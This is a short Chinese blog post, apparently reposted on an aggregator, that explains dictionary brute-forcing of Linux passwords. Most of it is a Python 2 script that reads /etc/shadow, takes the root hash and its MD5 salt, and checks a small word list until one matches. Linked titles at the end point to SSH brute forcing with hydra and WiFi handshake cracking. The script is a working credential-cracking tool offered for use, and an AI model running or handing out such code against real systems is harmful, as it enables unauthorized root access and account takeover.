字典法暴力破解Linux用户密码

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了字典法暴力破解Linux用户密码相关的知识,希望对你有一定的参考价值。

Linux系列的很多操作系统是采用MD5加密用户密码的,加密的过程是单向的,所以要破解只能采用暴力破解法。

下面分享个程序来破解root用户密码。

程序会遍历字典文件中的每个密码,加密后和/etc/shadow中的密码匹配,如果相同则返回成功。


#!/usr/bin/env python


import crypt

import sys

import re


dic = [

        ‘cookie‘,

        ‘test‘,

        ‘fuckyou‘

        ]



passwordfile = ‘/etc/shadow‘


def getrootpass():

        f = open(passwordfile, ‘r‘)

        for line in f.readlines():

                if ‘root:‘ in line :

                        rootpass = line.split(":")[1]

        if rootpass is None:

                print "cannot find root user"

                sys.exit(1)


        return rootpass


def getsalt():

        rootpass = getrootpass()

        if rootpass:

                salt = re.match("(\$1\$.*\$)", rootpass)

                if salt != None :

                        salt = salt.groups(1)[0]

        return salt


def crack():

        for passwd in dic:

                testpass = crypt.crypt(passwd, str(getsalt()))

                if testpass == getrootpass():

                        print "crack root password successful !\n root password is :\n%s" % passwd

                        sys.exit(0)

        print "could not crack root password"


crack()


本文出自 “Linux运维” 博客,谢绝转载!

以上是关于字典法暴力破解Linux用户密码的主要内容,如果未能解决你的问题,请参考以下文章

hydra暴力破解SSH密码

Linux 利用hosts.deny 防止暴力破解ssh

暴力破解原理与过程详解

密码暴力破解与防御

用kali linux抓取wifi握手包并暴力破解

暴力破解与验证码绕过